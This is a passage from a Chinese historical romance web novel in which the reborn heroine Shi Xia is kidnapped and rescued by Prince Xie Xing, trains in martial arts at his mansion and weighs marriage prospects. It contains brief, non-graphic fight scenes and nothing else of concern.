随后才转身:“姑娘没事吧?”
“燕世子?”时夏试探开口。
那人笑了一下:“我还以为时小姐认不出我来了呢。”
“京城中谁能不认识燕世子啊?”时夏也笑:“还以为燕世子要过几日才能到京城,没想到竟然这么快吗?”
“一路顺畅,确实比我和大皇子想得要快了几日。”燕世子模样和谢行、萧玦几人都很不同。
谢行身上总带着几分凌厉和威严,萧玦是典型的军营里的人,皮肤小麦色,但也有一种独特的少年意气风发。
而燕世子则不同,他的五官要更柔和一些,尤其是那双眼睛,似乎总是带着几分蛊惑,让人忍不住深陷其中。
时夏和燕尘其实挺熟悉的,幼时她爱跟着谢行跑,谢行不搭理她,只有燕尘时不时回来逗弄逗弄她。
不过后来燕尘和大皇子一同出去游山玩水,她们的联系便逐渐减少了。
“世子一路舟车劳顿,想必回来之后还有许多事要处理,我和小煜就不打扰啦。”时夏笑了笑:“等过几日,世子有空时,我们再登门拜访。”
“好,那我可就等着时小姐来了。”燕尘作揖:“那我先走了。”
时夏挥了挥手。
毕竟不知道上一世大皇子和谢行两人到底是谁赢了,和燕尘有点联系,至少表面上保持中立的态度,对时家绝对不会有害的。
-
翌日,时夏准备去指尖织看看。
她也有段时日未去了。
“小姐!”皎皎有些惊喜,放下手中的活,走上前来。
指尖织一般都是每月月初接受定制单子,后面的时间都用来赶制衣裙,现在是月中,并没有什么人。
时夏最近虽未怎么来看,但皎皎也将铺子打理的井井有条,招的绣娘都兢兢业业的做着活,整个铺子有条不紊。
“这段时日幸苦你了。”时夏走了进去。
“小姐,这是最近的收益。”皎皎拿锁打开一个
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柜子,将银钱取出,给时夏。
“不必,你先替我收好就是。”时夏却拒绝了。
皎皎有些受宠若惊,她没想到时夏竟然这般信任自己:“小姐......”
“好啦。”时夏见她眼含热泪的样子,忍不住笑了笑:“我这次来,是想让你再招几个女工。”
“小姐,我们现在的人手完全够用啊。”皎皎有些奇怪。
“我知道,但我想要的,是能够设计衣服的女工。”时夏解释:“你也知道,我不可能一直设计下去,我也没有那么多的时间,而我们的铺子得开,我想,你去帮我寻几个对设计衣裙感兴趣,又有一些绘画功底的女子,我找人教教,以后铺子的衣服就主要靠她们来设计了。”
皎皎点点头:“也是,全靠小姐来设计也太辛苦了。”
“嗯,等找到了人,培训好之后,我设计的数量就可以开始逐渐减少了,到后面,我可能就不再负责了。”时夏想了想:“不过,换了人设计这件事你要记得及时和顾客们说,我有时间的时候也会看看她们设计的稿子,帮忙修改修改。”
“好!小姐,包在我身上!”皎皎认真点头。
时夏又简单视察了一下铺子里的情况,确保没有质量问题,便离开了。
-
“走吧,今日去燕府。”时夏喊人将时煜带上。
“阿姐,为何我也要去啊?”时煜从前基本不参与这些。
时夏敲了敲他的脑袋:“那日若不是燕世子,你可就不知道什么样了,你还不去好好谢谢人家?”
“好吧。”他懵懂的点点头,似乎明白了些什么。
很快,到了燕府。
“时小姐,这边请。”管家笑意盈盈。
时夏点点头,这燕府,就比景王府装潢的好看多了。
“时小姐。”燕世子早早候着。
“前几日,多谢世子殿下,否则我们可就......”时夏使了个眼色,兰香将礼物递出。
“时小姐何必多礼呢?”燕尘没拒绝。
“说来其实有些不好意思。”时夏开口:“听闻世子武术极好,小煜近日想习武,不知世子可有推荐的人选?”
第37章 偌大京城,都没有时小姐看上的男子
若是她没有记错,燕尘是大皇子的陪读,大皇子和谢行在一个师父那里习武。
燕尘自然也是跟着一起的。
她本来未想起这事,但那日燕尘救下她后,控制马匹的动作和谢行可谓是一模一样,她这才联想到。
“时小姐看......本世子如何?”燕尘收起折扇。
时夏也笑:“若是燕世子能教小煜自然是再好不过,只是......臣女担心小煜花费世子太多时间。”
“时小姐和本世子客气什么?我们好歹儿时也是玩伴,现在倒是还生疏了。”燕尘佯装生气。
“那便劳世子费心了。”时夏拍了拍时煜:“还不快多谢世子!”
“多谢世子殿下!”时煜高兴极了。
“不知世子平日里合适比较空闲呢?”时夏虽想让时煜习武,但日常功课也必不可少。
“小煜下学后便可来找我。”燕尘笑:“我这人没什么大志向,哪有什么空不空的说法。”
时夏笑了笑,没有对后半句话回应:“那我们今日便不打扰世子了。”
他没有大志向?若不是时夏知道前世的事情,怕是真的要相信他了。
“不若留下来用完晚膳再走?”燕尘邀请:“我们也好些时日未好好聊聊了。”
时夏思索片刻,应下:“好呀。”
不管怎么样,暂时打好关系,总归是没错的。
“小煜,你先去那边玩一会儿?”时夏看向燕尘:“臣女记得,世子应是有一位幼弟,年纪和小煜差不多?”
“我本来还担心这几年经常不在京城,时小姐忘记了呢,看来是我多虑了。”燕尘笑了笑:“去把小宣叫来。”
“世子可不要污蔑臣女。”
时煜已经玩去了,两人并肩走着。
“时间过得可真快啊。”燕尘感叹:“我记得从前,你还是个小丫头呢,整日就跟在景王身后跑,王爷不理你,你就哭鼻子,最后还得我来哄。”
“世子殿下不要打趣我了。”时夏想到幼时的画面,也忍不住有些羞耻。
她当时就是那么死脑筋,只知跟着谢行。
最后,也不过是一场空罢了。
“好好好,不笑你了。”话是这么说,燕尘依旧是眉目带笑,语气里夹杂着几分调侃:“我这些年时常不在,转眼间,你都已经是大姑娘了。”
“怎么?世子是想嘲笑我?”时夏故意,她和燕尘聊天确实是比较轻松,可能因为幼时燕尘对她最好吧,她总有一种下意识的放松依赖。
“不敢不敢。”燕尘严肃起来:“伯父还未给你定亲?”
“父亲舍不得我。”时夏只是这样解释。
“再不定亲,这京城里的青年才俊可都要被抢走了。”燕尘开玩笑:“我听说,县主都已经定好亲事了。”
“嗯,太后娘娘给她找了个不错的男子。”时夏其实对那颜挽笙的未婚夫了解不多,但是根据前世的记忆来说,那男子对她也还算不错,应该是个好的去处。
“偌大个京城,都没有时小姐看上的男子?”
“臣女旦凭父亲做主。”
“景王呢?时小姐就没有考虑过景王?”他似是突然想起:“你小时候可是闹着要景王当夫婿呢。”
时夏浅浅笑了笑:“不过是幼时不懂事的玩笑话罢了,当不得真。”
-
用完晚膳,时夏便带着时煜离开。
马车上,时煜好奇:“阿姐,为什么不让景王教我,而同意世子教我阿?”
“......景王教你,你不得被他训哭?”时夏吓唬时煜:“你敢和他说话?”
时煜摇摇头:“不敢。”
时夏刚准备继续说话,突然,马车骤然停下。
“怎么回事?”时夏拉紧时煜。
却没有得到车夫的回应。
兰香站起身:“小姐您等等,我去看看情况。”
“不行!”时夏拉住兰香,若是外面真有贼人,那兰香现在下去,必然会出事。
那人现在敢光明正大的的劫车,想必是已经将外面清理的干干净净,一个人也没有。
“可小姐......”兰香担心时夏出事。
“等。”时夏端坐着,目光坚定:“他不敢露面。”
现在只剩下她们三人,两个女子,一个没什么用的时煜
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,那人明明随时可以动手,他却一点动作都没有。
“啪嗒!”一声,一支箭从马车帘飞来,帘子微微起来,只能看见对方半点衣襟。
对方没有用弓,直接扔掷,正好掉落在时夏脚下。
箭尾上卷着一纸信和一块黑布。
米白信纸上只简单几点黑字:蒙上眼睛,出来。
显然,那块黑布就是专门给时夏蒙眼睛的。
“小姐?”兰香抓住时夏的手。
“谁!为什么要......”时煜年纪小,当即控制不住脾气,怒吼。
幸好时夏赶紧捂住他的嘴:“闭嘴。”
“不知公子为何所谓何事?”时夏拖延时间。
“少废话,出来!否则,我可就不保证......”那人刻意压低了声音,让人只能勉强听出他在说什么,却无法辨认声线。
“劳烦公子稍等。”时夏扯下黑布,准备蒙住自己的眼睛。
“小姐?”兰香想要阻止。
“去找景王。”时夏对着兰香比口型。
说完,便不顾兰香的阻拦,毫不犹豫的蒙上眼睛,掀开马车帘子。
“可否劳烦公子扶一下......”她话未说完,一双大手便扣住她的腰,失重感瞬间袭来。
“啊!”时夏猝不及防,下意识大叫了一声,随即又恢复理智,强行将失重带来的恐惧压下去。
“哼。”那人似乎是哼笑了一声。
黑暗中的时间过得尤其漫长,特别是时夏还承受着这样的恐惧。
不知过了多久,失重感终于消失。
时夏的双脚终于踏实地踩在了地上,这感觉,有些松软,像是泥土。
她听到木门被推开地“嘎吱”声,她被推了进去。
进去地一瞬间,明显感觉到几束目光投射在身上。
里面,有好几个人。
想到这里,细密地汗珠忍不住从额角冒出,她试探性开口:“不知......公子是有何事?”
然而,却没有人回答她。
几人并不觉得她有逃脱的可能,所以,连手脚都未给她捆绑上。
“时小姐胆子很大呢。”一人说话。
第38章 你今日去找了世子?
“没有没有......”时夏讪笑了一下。
她被抓过来之后,几人便不再理她,自顾自的在一旁商量着什么,时夏本想听听,却怎么也听不懂,像是有些......异域语言?
无奈,时夏只能一个人坐在那里发呆。
她这一世可真多命运多舛啊,这才多久时间?
她已经不知道有多少次遇到这样的危险了?不过......到底是谁能联系上这些外邦人呢?
贤妃背后的势力?大皇子和燕尘?
若是贤妃背后的势力,完全可以直接把她杀了。
大皇子一方......她今日和燕尘谈论的挺高兴的,也没有说什么不能说的话。
而且,这些人把她抓过来,却又丢在一边不管。
到底是为了什么?
突然,屋外响起动静。
“怎么回事!”几人皆站起来。
“有人来寻她了!”外面的人通报。
最开始将时夏带来的男人轻笑:“倒是来得挺快。”随后时夏就感觉到那人的靠近,呼吸打在她的脖颈上,耳边传来一声低语:“我们还会再见的。”
随后,便是那人离开的声音。
而另外几人,似乎并没有打算离开,或者说是,留下来做掩护。
屋门被打开:“人给我。”谢行的声音里满是冰冷,却给时夏带来莫大的安全感。
“若是不呢?”
谢行也不再废话,箭直指其中一人的脖子。
趁着几人注意力都在谢行那里,时夏趁机扯下一直蒙在眼睛上的黑布,随后从袖口拿出她在马车上就藏好的**。
两人对视一眼,谢行猛地将剑刺向在时夏附近的那人,剑隔开两人,时夏毫不犹豫,抓住机会,趁机迅速跑到谢行身后。
谢行一手搂住时夏,一手用剑和四人打着。
突然,一人冲上前来,想要偷袭谢行。
几乎是下意识的,时夏将一直拿在手里的**对着对方狠狠刺下去。
“呲!”**贯穿那人手掌,鲜血喷涌而出。
感受到温热血液飞舞到自己的手和脸上,时夏整个人都愣住了。
谢行看了她一眼,搂着人的左手更加用力了。
少了一人之后,谢行明显要轻松许多。
打斗很快出了木屋,谢行带来的暗卫正好也将外面的人都处理完毕。
他向后微微退两步,几个暗卫上前,处理剩下那几人。
时夏现在还是愣愣的。
谢行虽眉头紧皱,但还是夸赞:“刚才做得不错。”
虽然声音依旧硬邦邦的。
时夏睫毛微微颤了颤,终于从刚才那一幕中回过神来,她嗓子有些干涩:“我......”
“挺好的,知道让人来找我。”谢行将人带到马旁:“上去休息会儿?”
来的急,没有马车。
时夏摇摇头,她眼眶红红的:“我刚才......”
“我说了,你刚才做得不错。”谢行淡声:“他们该。”
时夏眼中泪水越蓄越多,她紧紧的抿着纯,想要将哭泣憋回去。
“累了吗?我送你回去。”谢行终是放软了声音。
“呜......”时夏的泪水突然就憋不住,一滴豆大的泪水流出,其他的泪水也跟着流出来。
像是流不尽一般,越涌越多。
谢行蹙眉,第一次有些无措:“你......”他向来不会安慰女子。
时夏本就生的好看,这样一哭,更是我见犹怜了。
不远处,暗卫已经将人都处理干净。
谢行挥了挥手,暗卫们便先离开了。
他叹气,蹲下,看着把自己缩成一团的小姑娘:“怎么了?”
“我......血......”时夏一边抽泣,一边说,却又不知道该怎么说,显得她不那么矫情。
“他们想要伤害你,你只是做了你该做的。”谢行不知如何安慰第一次自己用**反击的女孩子:“你不要惧怕自己。”
时夏抽噎,用袖子擦擦眼泪:“你这个人,一点都不会安慰女孩子。”
她眼睛红红的,在雪白的皮肤上显得格外明显。
“那现在,我这个不会安慰人的,可以送你回去了吗?”
“......嗯。”时夏准备站起身,却一个踉跄,幸好谢行在她旁边,扶了一下,否则怕是又得狠狠摔一下。
“怎么了?”谢行蹙眉。
时夏沉默:“......脚麻了。”
“呵。”果不其然,头顶传来一声笑。
时夏的脸颊不禁染上几分粉红,她低下头,不愿
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看谢行。
“行了,我扶你上马吧。”说着,他就伸手准备拉马的缰绳。
手却扑了个空。
转头一看,哪里还有什么马的踪迹,不知何时,那些个暗卫把他的马给牵走了。
时夏眨眨眼:“王爷?”
谢行收回手,当作什么也没有说的样子,微微叹气,蹲下身:“上来吧。”
时夏犹豫,谢行却催促:“再不快点,时大人可就要着急了。”
时夏这才悻悻的弯下腰,趴在谢行的背上。
她很瘦,谢行几乎感觉不到重量,微微用力,将时夏背起来。
时夏靠在谢行的背上,又忍不住回想起,上一世,谢行都没有怎么背过她。
想到这,时夏有些不自在,想要下来:“我自己走吧。”她挣扎了一下。
女孩柔软的身体在身上扭动摩擦,带来几分独有的清香,饶是谢行也忍不住绷紧额角:“别乱动。”
“噢。”被拒绝,时夏只好安分趴着。
“现在心情好些了?”走了一会儿,感觉到时夏情绪逐渐平复,谢行开口。
“嗯。”时夏点点头。
“我听说,你今天去找了世子?”谢行声音幽幽响起。
时夏一僵,怎么忘了这事?
“还让世子教时煜习武。”谢行又继续道。
“我,我......”时夏眼神飘忽,心虚极了。
“看来,时小姐觉得本王太弱了?”
“没有......”
“既然没有,那就让他来景王府学。”谢行一锤定音:“你也一起。”
时夏大惊失色,时煜去就算了,为什么她还要去!
“我不。”时夏坚定拒绝。
“今日若是我赶不来呢?”谢行将微微往下滑的时夏往上颠了颠:“若是以后遇到的人,不是今天这批,而是想要取你的命呢?”
时夏默默低头,不说话了。
“明日,带上时煜,来我这里。”
“可是我都和世子说好了。”时夏试图挣扎。
“世子那边我去说,你只要来就行。”
“噢。”时夏只好应声。
天色暗沉,街上已无行人。
谢行背着时夏一步步走向时府,时不时将往下滑的时夏颠起来一些。
倒也是一副好景色。
第39章 对时小姐来说,都是些普通料子
翌日,时煜下学,时夏面无表情的带着他去往景王府。
京城只有这般大,哪怕二人再不愿意,也终究倒了王府门口。
“阿姐。”时煜仰头,看着景王府的牌匾,吞了吞口水。
“快去吧。”时夏推了推他。
“景王不是说阿姐也要一起吗?”时煜紧紧拉着时夏的衣袖,害怕被独自留下。
“时小姐来了?快请快请。”管家言笑晏晏。
时夏只得撑起笑容,跟着管家走进去。
管家带着两人到了谢行平时练武的地方,谢行已经等着了。
和往日沉闷的官服不同,他今日换上了练武的衣服,一身黑衣,将平日里掩藏着的肌肉线条显露无疑。
前世时夏就喜欢在谢行练武的时候看他,动作潇洒利落,毫不拖泥带水,好看极了。
不过,现在谢行以师父的身份,时夏就不太愿意见到他了。
她以前看见过谢行训人,明明谢行骂的不是她,她也吓得心头微颤。
谢行看着两人,皱眉:“怎么不换衣服。”
他的目光更多投在时夏身上,时夏一身粉裙,头上是精心编好的辫子,各种好看精致的发簪点缀其中,倒是好看。
“啊?”时夏反应过来谢行是在说她,这才暗叹,她怎么连衣服都忘了换!
上一世,谢行说要教她习武,就因为她当时没有换合适的服装,冷脸了好一会儿。
后来学了两次,她就哭着闹着,想尽办法不学了。
自然也就将要换衣服这事给忘记了。
“王爷,抱歉,是我疏忽了,忘记准备衣服了,不若......等下次?等衣服制好,我再来找王爷请教。”时夏双眼一亮,这不正是个逃脱的好机会?
谢行目光幽深,似乎看出了时夏心中所想,薄唇轻启:“无妨,本王派人去云杉纺取。”
“啊?这就不用了吧......云杉纺的衣服都是好料子,王爷取来给我习武,岂不是浪费了?”时夏讪笑,内心抗拒。
“都是些做好的,只是售得少罢了。”谢行淡声:“且对于时小姐来说,恐怕都是些普通料子吧。”
他在暗指时夏每月从云杉纺要走各种布料的事。
时夏弱弱低头:“那便有劳王爷了。”
她只好挪动着步子,到亭子那边去:“兰香,先帮我把簪子取了吧,头发......简单束起便是了。”
她一脸疼惜,今日的发型她可满意了。
一个一个的簪子从头上取下,时夏晃了晃轻巧了许多的脑袋。
兰香手巧,很快就将头发理顺,一个完美的马尾出现。
时夏脸小巧精致,额头饱满,发际线优越,几缕碎发在旁作为点缀,即便是这样简单的发型,没有任何首饰,也依旧美的不可方物,甚至更多了几分清丽独特。
正好,王府的婢女也将衣服取回。
时夏很快便换好衣服出来,心情明显比一开始要好了许多。
这衣服虽颜色不如她的衣服好看,款式也普通,但却和她束的马尾很搭,让时夏莫名有一种她也是武学奇才的感觉。
“既然换好衣服了,那便开始吧。”谢行目光扫了一圈院子:“先绕着花园慢跑两圈吧,热身。”
时夏却是两眼一黑,差点一个踉跄。
花园再怎么也有一段长度了,上一世她平日里最多也就绕着花园散散步,两圈也差不多该回去了,跑步,这不是为难她吗。
尤其是现在时间也逐渐接近夏日了,太阳虽还比不上夏日的毒,但晒久了终归还是会有些热的。
“王爷,要不......换一个方式?”时夏试探性开口,时煜也在一旁疯狂点头。
他平日里活泼爱闹,这点运动对于他来说确实还好,但时煜一向是时夏说什么就是什么。
“三圈。”谢行毫不留情。
“不不不,两圈,两圈......”时夏忍不住在心里暗骂谢行。
上一世嫁给他,被他压榨,这一世还得被他逼着跑步。
她无奈,只能朝花园走去。
“跑去花园。”声音从身旁传来,谢行竟没有留在院子里等她们
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,而是跟着一起。
声音好听,可对时夏确实重重一击,她本想着到了花园再跑的,而且谢行跟着她一起去,这便代表着,她一会儿不能偷懒了。
时夏垂头丧气,还是无奈提步,跑了起来。
“头抬起来,看着前面。”谢行又开口:“胳膊动起来。”
他一向要求严格,要做,就做好。
“是。”时夏扁扁嘴。
时夏在前,谢行就在她身侧稍后一点,跟着时夏的速度慢慢跑着,可以清晰的看到时夏有没有动作不标准,有没有偷懒。
好在,那院子不算很偏僻,很快便到了花园。
“时小姐倒是挺了解王府的路线。”时夏想停下来,缓一口气,步子刚刚慢了半分,便听到谢行的声音幽幽在耳边响起。
她身体一僵,默默的加快了一点步伐,向前跑去。
上一世走了千百遍的地方,能不熟悉吗?
她就知道,书房的事情,还没有过去。
但谢行既不骂她,也没有针对时家,只是时不时提起这件事,告诉时夏,他没有忘记。
让时夏心里总放不下,像一块大石头卡在那里,虽然有可能被谢行拿出来。
跑完一圈时,时夏额头上已经冒出细密的汗,喘气声也越来越重。
“不要着急,慢慢呼吸。”谢行倒是呼吸平稳。
时夏只觉脚有千斤重:“不,不行,真的,真的跑不动了。”时夏大喘气说着,随即步子就要停下来。
可她的动作刚刚放缓,一双温热的大手就出现在她的小臂下方,有力极了:“不许停。”
那手微微用力,强行拉着时夏继续往前跑去。
时夏满脸痛苦:“王爷,我,真,真的跑不,动了。”
“少说话,深呼吸。”谢行并不留情,只是继续拉着时夏向前。
身后,时煜也有些气喘吁吁,他弯着腰,双手撑在膝盖上,看着歪着身子被拉着往前跑的时夏,他有些迷茫的挠了挠脑袋。
不是说好教他习武,阿姐只是顺带跟着一起锻炼锻炼吗?
第40章 解释
终于,两圈跑完了,时夏的脸因为运动而红润了许多。
“喝吧。”谢行竟提前让人准备了茶水,还是温热的。
时夏也顾不得在意这么多了,接过茶杯就赶紧喝了下去,一杯不够,连着喝了三杯,她才停下来,撑着腰,在一旁微微喘着气。
“现在差不多了,就过去吧。”谢行见时夏缓过气便开口,大步朝前走去,没有给时夏休息的时间。
时夏双眼无神:“兰香,快,扶我一下。”
-
“先练习蹲马步。”谢行简单示范了一下,目光扫向两人:“先五分钟吧。”
时夏心头一梗,前世谢行也是这样教她,她最初还觉得不过区区五分钟,可实际上......
“开始。”谢行目光如鹰般扫向二人。
时夏已经没有反抗的动力了,深吸一口气,按照前世谢行说的,双手握拳,小臂贴在腰边,重心往后,身体向下。
谢行微微挑了挑眉,眼底多了几分意趣。
倒是没有想到,她第一次便能做得这般标准。
相比之下,一旁越来越高的时煜就显得......格外看不过去。
重心不稳,手臂软绵无力,膝盖还有些向前。
谢行叹气,上前两步,伸手:“用力,收紧核心,再往下些。”
时煜虽平日里爱玩,体力还行,但仅限于玩耍时。
真要论起这些,他比时夏好不了什么。
果然,没过多久,时煜就开始叫嚷了:“王爷王爷,我,真的,休息一下吧。”
一旁的时夏虽未像时煜这般恳求,但眼神里也是充满了渴望,大腿抖个不停。
“继续。”可谢行向来无情。
终于,天色渐晚,今日的训练结束了。
时夏靠在兰香身上,她现在已经要感觉不到大腿和手臂的存在了:“兰香......”
她哭丧开口,昨日就不该去找谢行帮忙!应该让兰香回去找燕尘!
“小姐,回去奴婢便帮你烧水,好好泡个热水澡,然后奴婢给你按摩按摩。”兰香满脸心疼,同时心里也忍不住腹诽,景王也太狠心了,这才第一天呢,就这么对小姐!
-
翌日,时夏醒来,感觉整个身体都酸痛的不行,已经不是她自己的了。
今日她得去拜访燕世子,主要是解释联系了他之后,又去谢行那里习武的事。
用过午膳之后,感觉到身体的酸痛稍微减轻了一些,时夏便出门了。
马车行至一半,突然停下,一个熟悉女声从外响起:“时姐姐!”是高希。
时夏掀开马车帘子,果然见高希一脸激动的在马车旁,她身边还有几个贵女,年纪和时夏差不多。
时夏和她们往来较少,只浅笑一下,以作招呼。
高希本就不喜和那几人一起逛,但碍于父亲母亲要求,她只好出来。
现在半路遇上时夏,她自然是高兴极了:“时姐姐要去哪里呀!我可以一起吗?”
时夏低头,有些犹豫,她今日是去找燕尘表达歉意的,且未和燕尘说高希要来,贸然带人前去,总是不合适的:“我今日有些事要去找燕世子......”
剩下的话她未说完,但言外之意自然是不太方便。
可高希不同,她本就年纪小,不太能听得出别人表面的话和实际的意思,再加上她现在满心满眼只想着与那几位贵女分开:“时姐姐!正好,我也想去找燕世子,带上我吧!”
说着她就十分自觉的自己要上马车。
兰香为难的看向时夏,时夏蹙眉,也不好在这么多人面前让高希下不来台:“让她上来吧。”
高希心满意足的坐上马车,却见马车里氛围有些僵硬:“时姐姐,怎么了?”
时夏摇摇头:“你与世子说了你今日要去府上吗?”
高希茫然的摇头:“我......以前都是跟着父亲一起去的。”
时夏无奈,开口解释:“贸然去人家府上,会让人家觉得你不尊重别人,你年岁小还好,但以后切不可忘记,去之前一定得同主人家商量好。”
高希似懂非懂的点点头。
“一会儿你先不要下马车,待我与世子说好,便叫人
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来喊你。”时夏也不好直接让高希下马车,只能看看燕尘接不接她的面子了。
“好,谢谢时姐姐。”高希虽还有些懵懂,但也能够感觉出因为自己,给时夏增添了些麻烦。
时夏摇了摇头,只觉得有些累。
很快,到了燕王府。
时夏重新扬起笑容,下马车,燕尘竟然亲自在门口等着。
“世子怎亲自在门口?”时夏福身:“路上耽搁了一下,世子久等了。”
燕尘今日一袭青衣,仙风道骨,很是符合他常年在外游历的气质。
“本也闲来无事,在府中转转,估摸着时小姐快到了,便来府门口等着。”他话说得圆满。
“前日本想着以后让小煜来世子这里习武,没成想,父亲也为小煜寻了师父。”时夏低头,满脸愧疚:“让世子笑话了。”
燕尘却无所谓:“无妨,能为小煜寻得更合适的师父自然更好,毕竟我也只是跟着皇子殿下们学了点皮**,和景王比,自然算不得什么。”他又补充:“不过,日后若是时小姐和小煜有什么其他的需要,随时都可以来找我,我这里空闲得很,就等着你们陪我解闷呢。”
时夏笑:“那我们以后来打扰世子,世子可别嫌烦。”
“自然不会。”世子收起折扇:“那......进府里聊?”
时夏面露难色:“不瞒世子,臣女刚才路上恰巧遇到了高小姐,她也想来拜访一下世子,不知世子现在可否方便?”
燕尘微微思索:“高小姐......高太傅之女?”
“正是。”时夏点点头。
“说起来,父亲与高太傅关系也甚是不错,时常约着一起喝酒呢,从前在书院之时,高太傅也对我多有帮助。”他笑:“赶紧让高小姐下马车吧,可别让高小姐觉得我不乐意了。”
高希一直在马车里默默听着外面得动静,听到燕尘这话,高兴极了,还未等时夏唤,便直接拉开车帘:“世子哥哥!”
她下马车来,满心欢喜。
时夏笑容微微僵了一下,眼里划过一丝猜测。
第41章 感情不可强求
三人在花园中,边逛边聊几句。
高希兴致很高,到处东看西看:“世子哥哥,这院子里的花好好看!我都没有见过诶!”
燕尘笑笑,解释:“这是我在外游历时带回来的,的确较为罕见,高小姐若是喜欢,改日可派人来取一些。”
“真的吗!太好啦!”高希一向听不出客套与真实。
“时小姐可要也带些回去?”燕尘开口。
时夏摇摇头:“之前本就劳烦世子了,我也不擅长打理花草,还是世子养着好。”
“我倒觉得这花和时小姐格外相配。”燕尘目光投向不远处:“我可将养护方法教给时小姐,我相信时小姐定能养的比我好。”
燕尘都这样说了,时夏再拒绝就显得有些小家子气了。
“那便多谢世子了。”时夏微微福身。
“时姐姐!世子哥哥!你们快来!”高希回头,发现两人不知何时落在身后一大截,赶忙挥手。
“来了。”时夏微微扬声。
随即就迈步要向前走去,可约莫是昨日在谢行那里太久的缘故,腿蓦然一软,身子一歪就要往旁边倒去。
“小心!”一旁的燕尘眼疾手快,扶住她。
“多谢燕世子。”燕尘很能把握分寸,待时夏站稳便松开手。
不远处的高希看见这一幕,不由得抿住唇。
其实,时姐姐和世子哥哥站在一起,赏心悦目,她也觉得很配。
可她为什么觉得心里这么难受呢?
后面的时间里,高希的情绪都有些低落。
时间差不多了,时夏提出告辞:“世子,那我们就先回去了。”
燕尘这次也没有多做挽留:“时小姐和高小姐路上注意安全。”
走出燕王府,高希试探性开口:“时姐姐,你......”
“高小姐应该比我要清楚。”时夏这次没有避讳,她现在看高希,有种看上一世的自己的感觉:“感情不可强求。”
燕尘和高希的年龄差距更是大,可以说,在她们眼里,高希都还只是个孩子。
若是燕尘真的对高希有感情就算了,可燕尘显然是没有的。
至少,从上一世来看,燕尘是注重利益的,和谢行一般。
谢行娶了她,而燕尘则是为了稳下皇帝的心,求娶了邻国公主。
以此换得皇帝相信他和大皇子对皇位没有心思。
“可,可是......”高希低头。
幼时,高家和燕家关系就很好。
父亲时常带她去玩耍,燕尘也是唯一一个不嫌弃她是个小孩子,愿意陪他玩耍的人。
长此以往,她自然对燕尘产生了依赖。
直到燕尘和大皇子一起外出游历,他们的联系才逐渐减少,但两家的关系依旧是不错的。
“好的人并不一定是适合的人。”时夏思索片刻,只能这样劝道。
她本不应该多说,时间会证明她说的一切的。
可高希对燕尘的执着,就像从前她对谢行的执着,不撞个满身伤痛不肯回头。
说是劝诫高希,其实也是给从前的自己一个交代吧。
-
亭子里,阳光暖暖洒下,却又不会让人感觉发烫。
“夏夏,前些日子,你和那许公子......”**想到今日,贵女们一个接着一个的定好亲事,她心里也忍不住有些着急了。
若是再不相看相看,这京城中的青年才俊,可就要被挑走了。
自己心爱女儿的亲事,自然不能怠慢,得精心挑选。
“娘不是知道嘛。”时夏笑了笑。
“娘这不是担心夏夏心里还放不下嘛。”毕竟许临的条件从各个方面看都很优秀,配她家夏夏是正好的。
“母亲放心,女儿当时只是听闻京中都在夸许公子,所以好奇罢了,顶多......只能算有一点好感吧。”时夏解释:“母亲可有合适的人选?”
**这才放心一些,但又想起什么:“那,夏夏与景王?”
她自然是知道时夏在谢行那里习武的,最初她还有些不敢相信,可直到时夏连着好几日带时煜去寻谢行。
“景王殿下只是看小
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煜是个可塑之才罢了。”时夏没有告诉任何人她和谢行的合作。
这样,哪怕日后和别人定亲了,谢行也只能把气都撒在她身上,时家永远是无辜的。
“可为何要连着你也一起呢?你日日去景王府,京城里都穿的有模有样的,说我们和景王好事将近了,我都不敢去为你相看人家。”**还是觉得怪怪的。
时夏心里一惊,她怎的忘了这事。
她咬牙,这恐怕也是谢行算计好了的,就算她不配合,但京城里这么多人都知道她日日去景王府,谁还会向她提亲呢?
“娘放心,我和景王定然是不可能的,我会尽快让这些谣言都消失。”
**点点头,女儿现在办事越来越稳妥了,她也不必事事都管着,等时夏需要时再帮忙就好。
“母亲,我记得那萧将军也未曾议亲吧。”她仔细思索。
“这倒是。”**点头:“可那萧将军毕竟只是最近才被皇帝看重的,未来如何还不确定。且以后定是会随处征战的......”
“娘,我知道的。”萧玦日后的发展自然是不一般的,而且,前世嫁给谢行,他不也一样是常常带兵出征。
这一世,她要嫁的,不需要什么所谓的爱,更重要的是嫁给一个好人。
萧玦虽常年带兵打仗,但至少不会亏待她。
而若是选择京城里有的世家大族,必定是妻妾成群。
且也不一定愿意站出来保时家。
**点点头,女儿越来越有主意了,找个机会问问那萧将军的想法也无妨:“既如此,我便让你父亲找个时机让他来府上吧,你们谈谈。”
-
夜里,时夏刚沐浴完,披散着头发,坐在书案前写着什么。
“兰香,你私下将这信送去景王府,切勿让人注意到。”时夏将信纸包好。
“是。”
兰香按照时夏说的路线,小心去往景王府。
夜晚,四周寂静,几乎没有什么人。
柔软的月光洒在地面上,映衬出两个影子,一高一矮。
第43章 一年后,我们会订婚
两人靠的极近,连空气似乎都显得稀薄了些。
“景王......”时夏刚张口,便被谢行捂住嘴,男人俯身靠近:“不想被看见就别说话。”
男人低沉的声音在她耳边响起,压的低低的,温热气息打在耳旁。
时夏下意识别过头。
“咦,这两个人呢?”时父有些困惑的声音在不远出响起。
时夏攥紧衣裙,不敢发出一点动静,若是父亲发现,可就说不清了。
谢行看着身前满脸担心,连呼吸都不敢用力的女孩。
唇角忍不住勾起,就这么怕被发现?他莫名冒出了几分逗弄的想法。
下一秒,一个小石子飞出,就掉落在假山前不远处。
时夏瞪大双眼,不敢相信。
石子掉落在地上的动静并不大,但花园安静,再小的声音都会被放大,时父自然没有错过。
“谁在那里?”他有些疑惑,朝着假山这边走来。
感受到父亲离两人越来越近,时夏的身体也越来越紧绷。
她求饶的看着谢行,眼里满是恳求。
谢行只是挑挑眉,并没有回应她。
时夏的心越来越紧,时父已经走到了假山面前,一墙之隔,她忍不住闭上了眼。
“啪嗒!”突然,对面响起一道声音,吸引了时父的目光。
“真是奇怪。”时父转移方向,向另一边走去。
时夏还沉浸在害怕被发现中,并没有注意到时父离开的动静。
眼睛紧紧闭着,小脸皱成一团。
倒是有趣极了。
谢行俯身,薄唇在她耳边轻启:“嘘,时大人只要扭头,就可以看见我们。”
时夏心里一惊,手比脑袋先一步反应过来,下意识的就覆盖在了他的唇上,想阻止谢行继续说下去。
手指和柔软的唇瓣触碰在一起,两个人都愣了一下。
时夏赶紧收回手,低下头,不敢看谢行,和谢行嘴唇接触过的部分温度越来越高。
手指虽已离开,但触感却无限延长。
谢行的唇瓣上似乎还残存着女孩手指轻轻抵挡在唇瓣上的感觉,带着女孩独特的柔软与清香。
“时大人走远了。”他抿唇,向后退了两步,隔开了两人的距离。
